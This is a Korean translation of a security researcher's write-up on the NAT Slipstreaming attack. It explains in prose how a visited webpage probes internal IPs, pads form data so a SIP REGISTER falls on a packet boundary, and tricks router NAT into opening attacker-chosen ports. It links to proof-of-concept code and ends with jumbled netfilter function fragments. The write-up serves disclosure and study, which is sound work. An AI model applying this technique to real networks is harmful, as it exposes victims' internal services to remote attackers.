이를 위해 먼저 페이지에 숨겨진 HTML `` 태그를 생성합니다. 이 태그들은 일반적인 게이트웨이(192.168.*.1, 10.0.0.1 및 [기타](https://github.com/samyk/slipstream/blob/main/server#L159))를 대상으로 하며, Javascript `onsuccess` 및 `onerror` 이벤트도 함께 포함됩니다. 이미지가 페이지에 기록될 때마다 타이머가 시작되고, `onsuccess`가 로드되면 해당 IP가 웹 서버로 응답했음을 의미합니다. 웹 서버가 실행 중이 아니지만 해당 IP가 네트워크에 있는 경우 TCP RST(재설정, 포트가 열려 있지 않음을 의미)를 보내 `onerror`를 트리거합니다. IP가 존재하지 않으면 RST가 전송되지 않으며 응답 시간이 1초 이상 걸리므로, 해당 IP가 네트워크에 존재하지 않음을 알 수 있습니다.
이러한 이벤트 중 하나가 트리거되는 것을 확인하면 잠재적인 내부 서브넷을 알게 되고, 서브넷의 모든 IP(예: 192.168.0.[2-255])에 대해 동일한 공격을 수행합니다. 이번에는 더 정밀한 타이밍을 사용하여 어떤 IP가 **가장 빨리** 응답하는지 확인합니다. 이것이 가장 가능성이 높은 우리 자신(피해자)의 내부 IP입니다. 네트워크 인터페이스를 떠날 필요조차 없기 때문입니다. 어떤 이유로든 첫 번째가 아니더라도, 네트워크에서 응답한 모든 IP에 대해 공격을 시도합니다.
## 브라우저 프로토콜 혼동
클라이언트가 패킷 크기와 내부 IP 주소를 얻으면, POST 데이터를 패킷이 단편화될 것으로 예상되는 지점까지 패딩하는 특수하게 조작된 웹 양식을 구성합니다. 이 지점에서 내부 IP 주소가 포함된 SIP REGISTER가 추가됩니다. 양식은 피해자의 동의 없이 Javascript를 통해 제출됩니다. :)
[](img/pinpkt.png)
### 라이브 브라우저 패킷 변경
공격 서버에서는 들어오는 패킷을 볼 수 있기 때문에 SIP 패킷이 공용 IP 주소로 다시 쓰였는지 확인합니다. 다시 쓰이지 않은 경우, 클라이언트에 자동으로 SIP 패킷이 예상 패킷 경계에 있지 않고 다시 쓰이지 않았음을 알리고, 스니퍼에서 얻은 새로운 경계 위치를 제공합니다.
클라이언트 코드는 두 번 연속 실패한 후에만 새 크기로 패킷 크기를 자동 조정합니다. 일부 브라우저(Firefox)는 양식에 대해 생성하는 multipart-boundary 때문에 패킷 크기가 약간 다를 수 있습니다. 이 경계는 대부분의 다른 브라우저와 달리 고정 길이가 아닙니다. 약 10번 시도 후에 동일한 크기가 사용되고 공격이 성공한다는 것을 확인했습니다.
일단 SIP 패킷이 패킷 경계에 도달하면, NAT는 이것이 합법적인 SIP 등록이고 피해자 컴퓨터의 SIP 클라이언트에서 온 것이라고 속게 됩니다. 서버가 적절한 SIP 응답(브라우저가 이상한 점을 감지하지 못하도록 적절한 HTTP 응답 내에 중첩됨)으로 응답하면, NAT는 원래 패킷에서 피해자가 보내도록 한 포트를 열고, 라우터는 **공격자가 선택한 모든 포트를 내부 피해자에게 전달하게 됩니다. 이 모든 것은 웹사이트에 접속하기만 하면 됩니다.**
공격 완료. 이제 공격자는 피해자에서 실행 중인 임의의 TCP/UDP 서비스에 연결할 수 있습니다.
# 기타 발견 사항
이러한 내용은 이 공격에 사용되지는 않지만, 흥미롭고 다른 공격에 사용될 가능성이 있습니다.
- IP 단편화를 통해 IP 데이터 섹션의 모든 데이터를 완전히 제어할 수 있으므로, 오버플로우된 패킷에서 UDP 헤더(소스/대상 포트 포함)를 완전히 제어할 수 있습니다.
- 피해자 IP 스택은 데이터를 재조립하지만 구문 분석하지 않습니다. 그러나 패킷이 통과하는 NAT는 취약합니다.
- 원래 패킷만 검사되고 오버플로우된 단편화된 패킷은 검사되지 않으므로 브라우저나 시스템 방화벽을 우회할 수 있습니다.
- `Expires: 0`을 보내고 다른 사람의 conntrack을 제거하여 SIP 클라이언트를 DoS합니다.
- 포트가 이미 사용 중이면, 수신 포트가 0으로 오버플로우될 때까지 증가됩니다.
- STUN은 최신 브라우저에서 인증이 구현되어 있지 않습니다.
# 다운로드
읽어주셔서 감사합니다! 제 [NAT Slipstream github](https://github.com/samyk/slipstream)에서 개념 증명 코드를 다운로드할 수 있습니다.
# 연락처
**연락 담당자:** [@SamyKamkar](https://twitter.com/samykamkar)
제 프로젝트는 <https://samy.pl>에서, 또는 <[email protected]>으로 연락 가능할 수 있습니다.
username 필드 내에서 TURN 프로토콜을 통해 전송되어 IP 단편화와 정밀한 경계 제어를 강제username 필드는 정확한 TCP 세그먼트 크기/패킷 경계에 맞게 "채워지고", “H.323 패킷”이 추가되어 웹 폼을 통해 전송strncasecmp(*dptr, handler->method, ...) 핸들러는 메서드(예: REGISTER)가 패킷(TCP 또는 UDP)의 데이터 부분 시작에 나타나지 않으면 중단됩니다. 위에서 INVITE에서 본 것과 같습니다...REGISTER는 또 다른 SIP 명령입니다.process_register_request(...)nf_ct_expect_init(...) sip_handlers를 통해 방화벽 핀홀(원격 사용자가 다시 연결할 수 있도록 포트)을 초기화하지만 아직 열지는 않습니다.nf_nat_sip_hooks -> nf_nat_sip(...) NAT는 또한 클라이언트의 내부 IP 주소를 NAT의 공용 IP로 변조(재작성)하여 대상이 적절히 연결할 수 있도록 합니다.sip_help_tcp(...) -> process_sip_msg(...) ->
process_sip_response(...) 이제 SIP 서버의 SIP 응답을 확인합니다.
process_register_response(...) -> refresh_signalling_expectation(...) NAT에 의한 포트 전달은 SIP 서버가 유효한 SIP 응답을 보낸 후에만 이루어집니다.